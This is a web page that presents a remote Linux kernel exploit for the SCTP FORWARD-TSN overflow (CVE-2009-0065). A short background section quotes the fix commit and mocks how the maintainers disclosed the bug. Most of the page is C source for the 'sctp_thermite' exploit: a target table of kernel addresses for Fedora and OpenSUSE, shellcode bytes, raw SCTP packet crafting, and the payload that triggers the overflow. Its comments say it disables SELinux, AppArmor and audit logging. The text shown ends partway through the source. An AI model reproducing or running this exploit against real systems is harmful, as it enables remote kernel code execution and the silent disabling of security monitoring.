Linux Kernel SCTP FORWARD-TSN Chunk Memory Corruption Remote Exploit

Background

  • The vulnerability existed for quite some time in the SCTP implementation in the Linux kernel.
  • Honoring the tradition of downplaying the severity of vulnerabilities, the Linux kernel maintainers pushed a decidedly deceptive narrative to the customer base of the kernel.
  • The vulnerability was assigned CVE-2009-0065, after being disclosed on 01/07/2009 by sgrakkyu.
  • Google Translate from “Linux kernel security English” to “Plain English” for “an unknown impact” turned out to be “arbitrary remote code execution in kernel context”.
  • Our resident exploit curator wrote what was possibly the longest remote Linux kernel exploit at the time. sgrakkyu’s targets were reused, and his version is absolutely worth reading (and his credentials as an excellent Linux kernel ab- researcher are well established).
  • That exploit in redacted form (one information leak technique removed, besides other minor edits) is now listed in this page for your amusement, dear reader.

Refer to sgrakkyu’s excellent post. and consider buying “A Guide to Kernel Exploitation: Attacking the Core Book” by Enrico Perla and Massimiliano Oldani, a seminal work in the fringe field of kernel exploitation, by two of the finest.

The commit for the actual fix is not terribly deceptive, but there is no mention to the security implications.

sctp: Avoid memory overflow while FWD-TSN chunk is received with bad stream ID
If FWD-TSN chunk is received with bad stream ID, the sctp will not do the
validity check, this may cause memory overflow when overwrite the TSN of
the stream ID.

The FORWARD-TSN chunk is like this:

FORWARD-TSN chunk
  Type                       = 192
  Flags                      = 0
  Length                     = 172
  NewTSN                     = 99
  Stream                     = 10000
  StreamSequence             = 0xFFFF

This patch fix this problem by discard the chunk if stream ID is not
less than MIS.

Signed-off-by: Wei Yongjun <[email protected]>
Signed-off-by: Vlad Yasevich <[email protected]>
Signed-off-by: David S. Miller <[email protected]>

Sometimes, being told in advance that you can be targeted with a remote kernel exploit, truly is too much to ask.

:-)

Little known facts

  • This was one of the first vulnerabilities we used to demonstrate and test our KERNHEAP (and future DYMASEC) work in hardening the Linux kernel heap (SLAB, SLUB and friends).
  • Approximately a decade later, individuals with no experience or history in offensive security (ex. exploit development) tried replicating the KERNHEAP and grsecurity’s work… unsuccessfully.
  • Imitation is still the most sincere form of flattery.
    • But only if it works. :-)

Our version

Output

Usage: ./sctp_thermite -s SOURCE -p SPORT -H TARGET -P PORT -t TARGET
Example: ./sctp_thermite -s 192.168.1.67 -d 192.168.1.12 -p 4200 -t 0
Copyright (c) 2009 Subreption LLC. All rights reserved.

Available (supported) targets:

  [0] Linux <= 2.6.28-git8
     Name:  Debug target (write to 0xdeadbeef)
     Flags: 0x00020220
     Arch:  x86_64 (SLUB allocator)
     Is a debug target (trigger overflow only).

  [1] fedora64_10-2.6.25-117
     Name:  Fedora Core 10 (default 64-bit kernel)
     Flags: 0x00025210
     Arch:  x86_64 (SLUB allocator)
     Supported features:
      Is a 64-bit target.
      Disables SELinux enforcement mode.
      Disables audit subsystem.

  [2] opensuse64_11.1-2.6.27.7-9-default
     Name:  OpenSUSE 11.1 (default 64-bit kernel)
     Flags: 0x00026110
     Arch:  x86_64 (SLAB allocator)
     Supported features:
      Is a 64-bit target.
      Disables AppArmor.
      Disables audit subsystem.

Source code (C)

   1/*
   2 * Copyright (c) 2009-2010 Subreption LLC. All rights reserved.
   3 * Copyright (c) -since Linus merged this, dunno- vogelfrei. All panache reserved.
   4 *
   5 * Description:
   6 *	Remote Linux kernel exploit for the FORWARD-TSN chunk overflow. The x86_64
   7 *	targets, shellcode and jumps are based off sgraykku's superb exploit (sctp_houdini).
   8 *	On those supported targets, the exploit disables SELinux/AppArmor and the
   9 *	audit subsystem altogether.
  10 *
  11 * Compile with: gcc -Wall -pthread sctp_thermite.c -o sctp_thermite
  12 *
  13 * Functional but opinionated:
  14 *		- generic offset-less x86_64 target against local controlled listener
  15 *		(get address of vsyscall target, send back to us, send payload)
  16 *		- restore the old x86 local target (uses ipc sem technique)
  17 * TODO:
  18 *		- sparc(64)/mips targets for pranking spender and ensuing hilarity
  19 *		- cleanups, check for trailing whitespace, etc
  20 *
  21 * Debugging:
  22 *		Set up VMware guest debugging, copy vmlinux and sctp.o over to remote
  23 *		debugging host. set remote target to IP:8832, load-symbol-info with
  24 *		sctp.o and address from /proc/modules. Set first breakpoint at
  25 *		sctp_sf_eat_fwd_tsn(), continue and execute exploit.
  26 *
  27 *		"True Force. All King's Men cannot put it back together again."
  28 */
  29
  30#include <stdio.h>
  31#include <stdlib.h>
  32#include <errno.h>
  33#include <netdb.h>
  34#include <fcntl.h>
  35#include <unistd.h>
  36#include <pthread.h>
  37#include <string.h>
  38#include <linux/socket.h>
  39#include <linux/types.h>
  40#include <linux/if_ether.h>
  41#include <linux/if_packet.h>
  42#include <arpa/inet.h>
  43#include <sys/uio.h>
  44#include <sys/ioctl.h>
  45#include <sys/types.h>
  46#include <sys/socket.h>
  47#include <netinet/tcp.h>
  48#include <netinet/ip.h>
  49#include <netinet/in.h>
  50#include <net/if.h>
  51
  52/* Target flags */
  53#define TARGET_FLAG_64BIT					0x00000010UL
  54#define TARGET_FLAG_DEBUG       			0x00000020UL
  55#define TARGET_FLAG_SLAB					0x00000100UL
  56#define TARGET_FLAG_SLUB 					0x00000200UL
  57#define TARGET_FLAG_SLOB 					0x00000400UL
  58#define TARGET_FLAG_SELINUX					0x00001000UL
  59#define TARGET_FLAG_APPARMOR 				0x00002000UL
  60#define TARGET_FLAG_AUDITOFF    			0x00004000UL
  61#define TARGET_FLAG_LSMDISABLE    			0x00008000UL
  62#define TARGET_ARCH_X86						0x00010000UL
  63#define TARGET_ARCH_X86_64					0x00020000UL
  64
  65/* Misc. definitions and values */
  66#define MAX_KMALLOC_SIZE					131072
  67#define MAX_STREAMS							(MAX_KMALLOC_SIZE/(sizeof(__u16)*2))
  68#define SSN_ARITHMETIC_SHIFT				0x7FFFU
  69
  70/* Chunk IDs */
  71#define SCTP_CID_INIT						0x01
  72#define SCTP_CID_INIT_ACK					0x02
  73#define SCTP_CID_COOKIE_ECHO				0x0a
  74#define SCTP_CID_COOKIE_ACK					0x0b
  75#define SCTP_CID_FWD_TSN					0xC0
  76/* Parameters */
  77#define SCTP_PARAM_FWD_TSN_SUPPORT			htons(0xc000)
  78#define SCTP_PARAM_STATE_COOKIE				htons(7)
  79#define SCTP_PARAM_SUPPORTED_ADDRESS_TYPES	htons(12)
  80/* SCTP CRC32c */
  81#define SCTP_CRC32C_POLY					0x1EDC6F41
  82#define SCTP_CRC32C(c, d)					(c = ((c) >> 8) ^ \
  83											sctp_crc_c[((c)^(d)) & 0xFF])
  84
  85/*
  86 * Common headers and structures
  87 */
  88
  89typedef struct sctphdr {
  90	__be16 source;
  91	__be16 dest;
  92	__be32 vtag;
  93	__be32 checksum;
  94} __attribute__((packed)) sctp_sctphdr_t;
  95
  96typedef struct sctp_chunkhdr {
  97	__u8 type;
  98	__u8 flags;
  99	__be16 length;
 100} __attribute__((packed)) sctp_chunkhdr_t;
 101
 102typedef struct sctp_fwdtsn_skip {
 103	__be16 id; /* stream */
 104	__be16 ssn;
 105} __attribute__((packed)) ssnmap_t;
 106
 107struct sctp_fwdtsn_hdr {
 108	__be32 new_cum_tsn;
 109	struct sctp_fwdtsn_skip skip[0];
 110} __attribute((packed));
 111
 112typedef struct sctp_inithdr {
 113	__be32 init_tag;
 114	__be32 a_rwnd;
 115	__be16 num_outbound_streams;
 116	__be16 num_inbound_streams;
 117	__be32 initial_tsn;
 118	__u8  params[0];
 119} __attribute__((packed)) sctp_inithdr_t;
 120
 121typedef struct sctp_paramhdr {
 122	__be16 type;
 123	__be16 length;
 124} __attribute__((packed)) sctp_paramhdr_t;
 125
 126typedef struct sctp_param_saddrtypes {
 127	struct sctp_paramhdr paramhdr;
 128	__be16 types;
 129} __attribute__((packed)) sctp_param_saddrtypes_t;
 130
 131typedef struct initack_args {
 132	unsigned char	*buf;
 133	size_t			buflen;
 134	unsigned char	*cookie;
 135	__u16			cookielen;
 136	__u32			init_tag;
 137	__u32			tsn;
 138} __attribute__((packed)) initack_args_t;
 139
 140/*
 141 * Structures that hold target information.
 142 */
 143
 144typedef struct opts32 {
 145	unsigned long	slubsize;
 146	unsigned long	chunksize;
 147	unsigned long	secdisable[10];
 148} opts32_t;
 149
 150typedef struct opts64 {
 151	unsigned long long		vsyscall_addr;
 152	const unsigned char		*vsyscall_jmp;
 153	const __u32				jmpsize;
 154	const unsigned char		*patchjmp;
 155	const __u32				patchlen;
 156	const __u32				chunksize;
 157	const __u32 			slubsize;
 158	/* SELinux, AppArmor, audit subsystem */
 159	unsigned long long		secdisable[10];
 160} opts64_t;
 161
 162typedef struct target_info {
 163	char			*name;
 164	char			*kernel;
 165	unsigned long	flags;
 166} target_info_t;
 167
 168typedef struct conn_info {
 169	size_t			linkskip;
 170	int				sock;
 171	int				rcvsock;
 172	char			*srchost;
 173	int				srcport;
 174	char			*dsthost;
 175	int				dstport;
 176	int				flush_conns;
 177	struct sockaddr_in 	srcaddr;
 178	struct sockaddr_in 	dstaddr;
 179
 180	/* SCTP specific */
 181	__u32			in_vtag;
 182	__u32			out_vtag;
 183	__u32			tsn;
 184	__u16			ssn_inbound;
 185	__u16			ssn_outbound;
 186	ssnmap_t		streams[MAX_STREAMS];
 187	initack_args_t	initack;
 188} conn_info_t;
 189
 190typedef struct target {
 191	struct target_info info;
 192	struct conn_info *state;
 193	void *opts;
 194} target_t;
 195
 196/*
 197 * Global variables
 198 */
 199
 200static int verbose = 0;
 201static unsigned char x86_64_jmp[] = "\xe9\x2b\x09\x00\x00\x90";
 202static unsigned char x86_64_patchjmp[] = "\x48\x31\xc0\xb0\x60\x0f\x05\xc3";
 203
 204/* Per-target settings */
 205
 206static opts64_t x86_64_dbg_opts = {
 207	0xFFFFFFFFDEADBEEFULL,	(unsigned char *) &x86_64_jmp[0],
 208	sizeof(x86_64_jmp) - 1, (unsigned char *) &x86_64_patchjmp[0],
 209	sizeof(x86_64_patchjmp) - 1, 40, 96, { 0ULL, 0ULL, 0ULL }
 210};
 211
 212static opts64_t fedora64_10_2625_117 = {
 213	0xFFFFFFFF81571000ULL,					/* vsyscall_addr */
 214	(unsigned char *) &x86_64_jmp[0],		/* vsyscall_jmp */
 215	sizeof(x86_64_jmp) - 1,					/* jmpsize */
 216	(unsigned char *) &x86_64_patchjmp[0],	/* patchjmp */
 217	sizeof(x86_64_patchjmp) - 1, 			/* patchlen */
 218	40, 96,									/* chunksize, slubsize */
 219	/* security_disable addresses */
 220	{
 221		0xFFFFFFFF817CE684ULL,	/* SElinux (selinux_enforcing) */
 222		0xFFFFFFFF817D1B48ULL,	/* SElinux MLS (selinux_mls_enabled) */
 223		0xFFFFFFFF8178E434ULL,	/* Audit (audit_enabled) */
 224		0xFFFFFFFF8178E438ULL,	/* Audit (audit_ever_enabled) */
 225		0x0000000000000000ULL,	/* AppArmor (unused here) */
 226		0xFFFFFFFF814C2810ULL	/* LSM secdummy_ops */
 227	}
 228};
 229
 230static opts64_t opensuse64_11_1_2627_default = {
 231	0xFFFFFFFF808E1000ULL,
 232	(unsigned char *) &x86_64_jmp[0], sizeof(x86_64_jmp) - 1,
 233	(unsigned char *) &x86_64_patchjmp[0], sizeof(x86_64_patchjmp) - 1,
 234	40, 256, {0x0000000000000000ULL, 0x0000000000000000ULL, 0x0000000000000000ULL}
 235};
 236
 237static struct target supported_targets[] = {
 238	/* debug target */
 239	{
 240		{
 241			"Debug target (write to 0xdeadbeef)",
 242			"Linux <= 2.6.28-git8",
 243			TARGET_ARCH_X86_64|TARGET_FLAG_DEBUG|TARGET_FLAG_SLUB
 244		},
 245		NULL, &x86_64_dbg_opts
 246	},
 247	/* default installation of fedora core 10 */
 248	{
 249		{
 250			"Fedora Core 10 (default 64-bit kernel)",
 251			"fedora64_10-2.6.25-117",
 252			TARGET_FLAG_64BIT|TARGET_ARCH_X86_64|TARGET_FLAG_SLUB|
 253					TARGET_FLAG_SELINUX|TARGET_FLAG_AUDITOFF
 254		},
 255		NULL, &fedora64_10_2625_117
 256	},
 257	{
 258		{
 259			"OpenSUSE 11.1 (default 64-bit kernel)",
 260			"opensuse64_11.1-2.6.27.7-9-default",
 261			TARGET_FLAG_64BIT|TARGET_ARCH_X86_64|TARGET_FLAG_SLAB|
 262					TARGET_FLAG_APPARMOR|TARGET_FLAG_AUDITOFF
 263		},
 264		NULL, &opensuse64_11_1_2627_default
 265	},
 266	{{NULL, NULL, 0}, NULL, NULL}
 267};
 268
 269/*
 270 * SCTP CRC32c checksum calculation code - taken from KAME (BSD License)
 271 * The final function has been modified to fit our purposes since we don't deal
 272 * with the convoluted mbuf related code they use.
 273 */
 274
 275static unsigned long  sctp_crc_c[256] = {
 276		0x00000000L, 0xF26B8303L, 0xE13B70F7L, 0x1350F3F4L,
 277		0xC79A971FL, 0x35F1141CL, 0x26A1E7E8L, 0xD4CA64EBL,
 278		0x8AD958CFL, 0x78B2DBCCL, 0x6BE22838L, 0x9989AB3BL,
 279		0x4D43CFD0L, 0xBF284CD3L, 0xAC78BF27L, 0x5E133C24L,
 280		0x105EC76FL, 0xE235446CL, 0xF165B798L, 0x030E349BL,
 281		0xD7C45070L, 0x25AFD373L, 0x36FF2087L, 0xC494A384L,
 282		0x9A879FA0L, 0x68EC1CA3L, 0x7BBCEF57L, 0x89D76C54L,
 283		0x5D1D08BFL, 0xAF768BBCL, 0xBC267848L, 0x4E4DFB4BL,
 284		0x20BD8EDEL, 0xD2D60DDDL, 0xC186FE29L, 0x33ED7D2AL,
 285		0xE72719C1L, 0x154C9AC2L, 0x061C6936L, 0xF477EA35L,
 286		0xAA64D611L, 0x580F5512L, 0x4B5FA6E6L, 0xB93425E5L,
 287		0x6DFE410EL, 0x9F95C20DL, 0x8CC531F9L, 0x7EAEB2FAL,
 288		0x30E349B1L, 0xC288CAB2L, 0xD1D83946L, 0x23B3BA45L,
 289		0xF779DEAEL, 0x05125DADL, 0x1642AE59L, 0xE4292D5AL,
 290		0xBA3A117EL, 0x4851927DL, 0x5B016189L, 0xA96AE28AL,
 291		0x7DA08661L, 0x8FCB0562L, 0x9C9BF696L, 0x6EF07595L,
 292		0x417B1DBCL, 0xB3109EBFL, 0xA0406D4BL, 0x522BEE48L,
 293		0x86E18AA3L, 0x748A09A0L, 0x67DAFA54L, 0x95B17957L,
 294		0xCBA24573L, 0x39C9C670L, 0x2A993584L, 0xD8F2B687L,
 295		0x0C38D26CL, 0xFE53516FL, 0xED03A29BL, 0x1F682198L,
 296		0x5125DAD3L, 0xA34E59D0L, 0xB01EAA24L, 0x42752927L,
 297		0x96BF4DCCL, 0x64D4CECFL, 0x77843D3BL, 0x85EFBE38L,
 298		0xDBFC821CL, 0x2997011FL, 0x3AC7F2EBL, 0xC8AC71E8L,
 299		0x1C661503L, 0xEE0D9600L, 0xFD5D65F4L, 0x0F36E6F7L,
 300		0x61C69362L, 0x93AD1061L, 0x80FDE395L, 0x72966096L,
 301		0xA65C047DL, 0x5437877EL, 0x4767748AL, 0xB50CF789L,
 302		0xEB1FCBADL, 0x197448AEL, 0x0A24BB5AL, 0xF84F3859L,
 303		0x2C855CB2L, 0xDEEEDFB1L, 0xCDBE2C45L, 0x3FD5AF46L,
 304		0x7198540DL, 0x83F3D70EL, 0x90A324FAL, 0x62C8A7F9L,
 305		0xB602C312L, 0x44694011L, 0x5739B3E5L, 0xA55230E6L,
 306		0xFB410CC2L, 0x092A8FC1L, 0x1A7A7C35L, 0xE811FF36L,
 307		0x3CDB9BDDL, 0xCEB018DEL, 0xDDE0EB2AL, 0x2F8B6829L,
 308		0x82F63B78L, 0x709DB87BL, 0x63CD4B8FL, 0x91A6C88CL,
 309		0x456CAC67L, 0xB7072F64L, 0xA457DC90L, 0x563C5F93L,
 310		0x082F63B7L, 0xFA44E0B4L, 0xE9141340L, 0x1B7F9043L,
 311		0xCFB5F4A8L, 0x3DDE77ABL, 0x2E8E845FL, 0xDCE5075CL,
 312		0x92A8FC17L, 0x60C37F14L, 0x73938CE0L, 0x81F80FE3L,
 313		0x55326B08L, 0xA759E80BL, 0xB4091BFFL, 0x466298FCL,
 314		0x1871A4D8L, 0xEA1A27DBL, 0xF94AD42FL, 0x0B21572CL,
 315		0xDFEB33C7L, 0x2D80B0C4L, 0x3ED04330L, 0xCCBBC033L,
 316		0xA24BB5A6L, 0x502036A5L, 0x4370C551L, 0xB11B4652L,
 317		0x65D122B9L, 0x97BAA1BAL, 0x84EA524EL, 0x7681D14DL,
 318		0x2892ED69L, 0xDAF96E6AL, 0xC9A99D9EL, 0x3BC21E9DL,
 319		0xEF087A76L, 0x1D63F975L, 0x0E330A81L, 0xFC588982L,
 320		0xB21572C9L, 0x407EF1CAL, 0x532E023EL, 0xA145813DL,
 321		0x758FE5D6L, 0x87E466D5L, 0x94B49521L, 0x66DF1622L,
 322		0x38CC2A06L, 0xCAA7A905L, 0xD9F75AF1L, 0x2B9CD9F2L,
 323		0xFF56BD19L, 0x0D3D3E1AL, 0x1E6DCDEEL, 0xEC064EEDL,
 324		0xC38D26C4L, 0x31E6A5C7L, 0x22B65633L, 0xD0DDD530L,
 325		0x0417B1DBL, 0xF67C32D8L, 0xE52CC12CL, 0x1747422FL,
 326		0x49547E0BL, 0xBB3FFD08L, 0xA86F0EFCL, 0x5A048DFFL,
 327		0x8ECEE914L, 0x7CA56A17L, 0x6FF599E3L, 0x9D9E1AE0L,
 328		0xD3D3E1ABL, 0x21B862A8L, 0x32E8915CL, 0xC083125FL,
 329		0x144976B4L, 0xE622F5B7L, 0xF5720643L, 0x07198540L,
 330		0x590AB964L, 0xAB613A67L, 0xB831C993L, 0x4A5A4A90L,
 331		0x9E902E7BL, 0x6CFBAD78L, 0x7FAB5E8CL, 0x8DC0DD8FL,
 332		0xE330A81AL, 0x115B2B19L, 0x020BD8EDL, 0xF0605BEEL,
 333		0x24AA3F05L, 0xD6C1BC06L, 0xC5914FF2L, 0x37FACCF1L,
 334		0x69E9F0D5L, 0x9B8273D6L, 0x88D28022L, 0x7AB90321L,
 335		0xAE7367CAL, 0x5C18E4C9L, 0x4F48173DL, 0xBD23943EL,
 336		0xF36E6F75L, 0x0105EC76L, 0x12551F82L, 0xE03E9C81L,
 337		0x34F4F86AL, 0xC69F7B69L, 0xD5CF889DL, 0x27A40B9EL,
 338		0x79B737BAL, 0x8BDCB4B9L, 0x988C474DL, 0x6AE7C44EL,
 339		0xBE2DA0A5L, 0x4C4623A6L, 0x5F16D052L, 0xAD7D5351L,
 340};
 341
 342uint32_t update_crc32(u_int32_t crc32, unsigned char *buffer,
 343		unsigned int length)
 344{
 345	unsigned int i;
 346
 347	for (i = 0; i < length; i++)
 348		SCTP_CRC32C(crc32, buffer[i]);
 349
 350	return (crc32);
 351}
 352
 353uint32_t sctp_csum_finalize(u_int32_t crc32)
 354{
 355	u_int32_t result;
 356#if BYTE_ORDER == BIG_ENDIAN
 357	u_int8_t byte0, byte1, byte2, byte3;
 358#endif
 359	result = ~crc32;
 360#if BYTE_ORDER == BIG_ENDIAN
 361	byte0 = result & 0x000000ff;
 362	byte1 = (result >> 8) & 0x000000ff;
 363	byte2 = (result >> 16) & 0x000000ff;
 364	byte3 = (result >> 24) & 0x000000ff;
 365	result = ((byte0 << 24) | (byte1 << 16) | (byte2 << 8) | byte3);
 366	crc32 = htonl(result);
 367#else
 368	crc32 = result;
 369#endif
 370	return (crc32);
 371}
 372
 373uint32_t sctp_calculate_sum(unsigned char *pkt, size_t pktlen)
 374{
 375	uint32_t base = 0xffffffff;
 376
 377	base = update_crc32(base, pkt, pktlen);
 378	base = sctp_csum_finalize(base);
 379
 380	return base;
 381}
 382
 383/*
 384 * Simple memory wipe function
 385 */
 386
 387static inline void wipe(void *buf, size_t len)
 388{
 389	memset(buf, 0xff, len);
 390	memset(buf, 0xaa, len);
 391	memset(buf, 0x00, len);
 392}
 393
 394static inline void wfree(void *buf, size_t len)
 395{
 396	wipe(buf, len);
 397	free(buf);
 398}
 399
 400/*
 401 * Resolve-to-sockaddr function, blatantly stolen from ancient hping code.
 402 */
 403int resolver(struct sockaddr_in * addr, char *hostname)
 404{
 405	int		err = 0;
 406	struct	sockaddr_in *address;
 407	struct	hostent		*host;
 408
 409	address = (struct sockaddr_in *) addr;
 410
 411	memset((char *) address, 0, sizeof(struct sockaddr_in));
 412
 413	address->sin_family = AF_INET;
 414	address->sin_addr.s_addr = inet_addr(hostname);
 415
 416	if ((int) address->sin_addr.s_addr == -1) {
 417		host = gethostbyname(hostname);
 418		if (host) {
 419			memcpy((char *) &address->sin_addr, host->h_addr, host->h_length);
 420		} else
 421			return -1;
 422	}
 423
 424	return err;
 425}
 426
 427/*
 428 * State initialization and removal functions.
 429 */
 430
 431static inline struct conn_info *init_new_state(void)
 432{
 433	struct conn_info *state = NULL;
 434
 435	state = malloc(sizeof(struct conn_info));
 436	if (state == NULL) {
 437		perror("malloc");
 438		return NULL;
 439	}
 440
 441	memset(state, 0, sizeof(struct conn_info));
 442
 443	state->sock		= -1;
 444	state->rcvsock	= -1;
 445	state->linkskip = 0;
 446
 447	return state;
 448}
 449
 450static int setup_state_sockets(struct conn_info *state)
 451{
 452	int opt = 1;
 453	struct sockaddr_in rcvaddr;
 454
 455	state->sock = socket(PF_INET, SOCK_RAW, IPPROTO_SCTP);
 456	if (state->sock < 0) {
 457		perror("socket");
 458		fprintf(stderr, "[!] failed to open raw socket.\n");
 459		return -1;
 460	}
 461
 462	state->rcvsock = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
 463	if (state->rcvsock < 0) {
 464		perror("socket");
 465		fprintf(stderr, "[!] failed to open reception socket.\n");
 466		close(state->sock);
 467		return -1;
 468	}
 469
 470	if (setsockopt(state->rcvsock, SOL_SOCKET, SO_REUSEADDR, (char *) &opt,
 471		sizeof(opt)) < 0) {
 472		perror("setsockopt");
 473		close(state->sock);
 474		close(state->rcvsock);
 475		return -1;
 476	}
 477
 478	memset(&rcvaddr, 0, sizeof(rcvaddr));
 479
 480	rcvaddr.sin_family = AF_INET;
 481	rcvaddr.sin_addr.s_addr = INADDR_ANY;
 482	rcvaddr.sin_port = htons(state->srcport);
 483
 484	if (bind(state->rcvsock, (struct sockaddr *) &rcvaddr, sizeof(rcvaddr)) < 0) {
 485		perror("bind");
 486		fprintf(stderr, "[!] failed to bind reception socket.\n");
 487		close(state->sock);
 488		close(state->rcvsock);
 489		return -1;
 490	}
 491
 492	return 0;
 493}
 494
 495static inline void close_state_sockets(struct conn_info *state)
 496{
 497	if (state->sock > 0)
 498		close(state->sock);
 499
 500	if (state->rcvsock > 0)
 501		close(state->rcvsock);
 502}
 503
 504static inline void remove_state(struct conn_info *state)
 505{
 506	close_state_sockets(state);
 507	wfree(state, sizeof(struct conn_info));
 508}
 509
 510/*
 511 * Pattern fill buffer. Use for debugging purposes if playing with payload.
 512 */
 513
 514static inline void patternfill(void *buf, size_t len, unsigned char b)
 515{
 516	size_t i = 0;
 517
 518	for (i = 0; i < len; i++) {
 519		((unsigned char *) buf)[i] = b;
 520		(int) b++;
 521	}
 522}
 523
 524/*
 525 * Print hex output of buffer (with offsets), to stdout.
 526 */
 527
 528void hexdump(unsigned char *buf, size_t len)
 529{
 530	unsigned int i = 0;
 531	unsigned int off = 0;
 532
 533	printf(" | %04d ", off);
 534
 535	for (i = 0; i < len; i++) {
 536		if (i && !(i % 16)) {
 537			printf(" |\n");
 538			off += 16;
 539			printf(" | %04d ", off);
 540		}
 541
 542		printf(" %02X", buf[i]);
 543
 544		if (i == len-1)
 545			printf("\n");
 546	}
 547}
 548
 549/*
 550 * Retrieve a random seed from the kernel PRNG.
 551 */
 552
 553unsigned long randseed(void)
 554{
 555	int fd = -1;
 556	ssize_t len = sizeof(unsigned long);
 557	unsigned long seed = 0;
 558
 559	srandom(time(NULL));
 560	seed = random() % 0xFFFFFFFF;
 561
 562	fd = open("/dev/urandom", O_RDONLY|O_NONBLOCK);
 563	if (fd < 0)
 564		return seed;
 565
 566	len = read(fd, &seed, sizeof(unsigned long));
 567	if (len < (ssize_t) sizeof(unsigned long))
 568		return seed;
 569
 570	close(fd);
 571
 572	return seed;
 573}
 574
 575static const char *arch_name(unsigned long flag)
 576{
 577	const char *name = "Unknown?";
 578
 579	if ((flag & TARGET_ARCH_X86_64) ||
 580		((flag & TARGET_ARCH_X86) && (flag & TARGET_FLAG_64BIT)))
 581		name = "x86_64";
 582
 583	if (flag & TARGET_ARCH_X86)
 584		name = "i386";
 585
 586	return name;
 587}
 588
 589
 590static const char *allocator_name(unsigned long flag)
 591{
 592	const char *name = "Unknown?";
 593
 594	if (flag & TARGET_FLAG_SLUB)
 595		name = "SLUB";
 596
 597	if (flag & TARGET_FLAG_SLAB)
 598		name = "SLAB";
 599
 600	return name;
 601}
 602
 603/*
 604 * Check that the packet contains a specific chunk. Assumes packet length is
 605 * enough to hold all the expected structures, thus you must check that in the
 606 * caller.
 607 */
 608
 609static inline int pkt_has_sctp_chunk(unsigned char *buf, __u8 type)
 610{
 611	struct sctp_chunkhdr *chunkhdr = NULL;
 612
 613	chunkhdr = (struct sctp_chunkhdr *) (buf + (sizeof(struct iphdr) +
 614		sizeof(struct sctphdr)));
 615
 616	if (chunkhdr->type == type)
 617		return 1;
 618
 619	return 0;
 620}
 621
 622/*
 623 * Sends a SCTP packet.
 624 */
 625
 626int send_sctp_packet(target_t *target, unsigned char *buf, size_t buflen)
 627{
 628	int		err			= 0;
 629	int		sock		= target->state->sock;
 630	uint32_t vtag		= target->state->out_vtag;
 631	short	srcport		= target->state->srcport;
 632	short   dstport     = target->state->dstport;
 633	size_t	pktlen		= 0;
 634	unsigned char *pkt	= NULL;
 635	struct sockaddr *dstaddr = (struct sockaddr *) &target->state->dstaddr;
 636	struct	sctphdr *sctph = NULL;
 637
 638	pktlen = buflen + sizeof(struct  sctphdr);
 639
 640	pkt = malloc(pktlen);
 641	if (pkt == NULL) {
 642		perror("malloc");
 643		return -1;
 644	}
 645
 646	memset(pkt, 0, pktlen);
 647	memcpy(pkt + sizeof(struct sctphdr), buf, buflen);
 648
 649	/* Prepare the SCTP common header */
 650	sctph = (struct sctphdr *) pkt;
 651	sctph->source	  = htons(srcport);
 652	sctph->dest		  = htons(dstport);
 653	sctph->vtag		  = htonl(vtag);
 654	sctph->checksum   = sctp_calculate_sum(pkt, pktlen);
 655
 656	memcpy(pkt + sizeof(struct sctphdr), buf, buflen);
 657
 658	err = sendto(sock, pkt, pktlen, 0, (struct sockaddr *) dstaddr,
 659					sizeof(struct sockaddr));
 660	if (err < 0 && errno != EINTR) {
 661		perror("sendto");
 662		wipe(pkt, pktlen);
 663		free(pkt);
 664		return -1;
 665	}
 666
 667	if (verbose)
 668		fprintf(stdout, "[+] Sent SCTP packet (%u bytes, vtag 0x%08X, crc 0x%08X)\n",
 669			pktlen, ntohl(sctph->vtag), ntohl(sctph->checksum));
 670
 671	wipe(pkt, pktlen);
 672	free(pkt);
 673
 674	return err;
 675}
 676
 677/*
 678 * Prepares a SCTP chunk and sends it in the specified socket with given vtag,
 679 * and flags.
 680 */
 681
 682int send_sctp_chunk(target_t *target, unsigned char *buf, size_t buflen,
 683	__u8 type, __u8 flags)
 684{
 685	int					 err		= 0;
 686	__u32				 vtag		= 0;
 687	size_t				 chunklen	= buflen + sizeof(struct sctp_chunkhdr);
 688	unsigned char		 *data		= NULL;
 689	struct sctp_chunkhdr *chunkhdr	= NULL;
 690
 691	data = malloc(chunklen);
 692	if (data == NULL) {
 693		perror("malloc");
 694		return -1;
 695	}
 696
 697	memset(data, 0, chunklen);
 698
 699	/* Setup common chunk header */
 700	chunkhdr = (struct sctp_chunkhdr *) data;
 701	chunkhdr->type		= type;
 702	chunkhdr->flags		= flags;
 703	chunkhdr->length	= htons(buflen + sizeof(struct sctp_chunkhdr));
 704
 705	memcpy(data + sizeof(struct sctp_chunkhdr), buf, buflen);
 706
 707	/* INIT chunks must have a zero vtag, store old value at vtag */
 708	if (type == SCTP_CID_INIT) {
 709		vtag = target->state->out_vtag;
 710		target->state->out_vtag = 0;
 711	}
 712
 713	err = send_sctp_packet(target, data, chunklen);
 714	if (err < 0) {
 715		fprintf(stderr, "[!] failed to send chunk! type=%d length=%u\n", type,
 716			buflen);
 717		wipe(chunkhdr, chunklen);
 718		free(chunkhdr);
 719		return -1;
 720	}
 721
 722	wipe(chunkhdr, chunklen);
 723	free(chunkhdr);
 724
 725	/* restore saved value after INIT chunk */
 726	if (type == SCTP_CID_INIT)
 727		target->state->out_vtag = vtag;
 728
 729	return err;
 730}
 731
 732/*
 733 * Prepares a SSN payload to trigger the memory overwrite. We write a short to
 734 * memory pointed: stream->ssn[id] = ssn+1;
 735 */
 736
 737static int make_ssn_payload(target_t *t, void *buf, size_t len, __u16 fc)
 738{
 739	conn_info_t				*state	= t->state;
 740	size_t					maplen	= (MAX_STREAMS * sizeof(__u16)) * 2;
 741	unsigned int			ssnlen	= len / 2;
 742	unsigned int			i		= 0;
 743	int						x		= 0;
 744	int						k		= 0;
 745	__u16					*shift	= 0;
 746	__u16					*p		= NULL;
 747	__u16		 shift_0_to_7fff[3]	= { 0x7FFFU, 0xFFFEU, 0x0000U };
 748	__u16	  shift_8000_to_ffff[3] = { 0xFFFFU, 0x7FFEU, 0x8000U };
 749
 750	if (len % 2) {
 751		fprintf(stderr, "[!] alignment error for ssn stream (%u).\n", len);
 752		return -1;
 753	}
 754
 755	if (len > maplen) {
 756		fprintf(stderr, "[!] ssnmap size %u < buffer size %u.\n", maplen, len);
 757		return -1;
 758	}
 759
 760	memset(state->streams, 0, maplen);
 761	p = (__u16 *) buf;
 762
 763	for (i = 0; i < ssnlen; i++, p++, fc++)
 764	{
 765		/*
 766		 * We have to take care of the addition done to the ssn:
 767		 * stream->ssn[id] = ssn+1;
 768		 */
 769		__u16 c = *p - 1;
 770
 771		if (c <= SSN_ARITHMETIC_SHIFT)
 772			shift = shift_0_to_7fff;
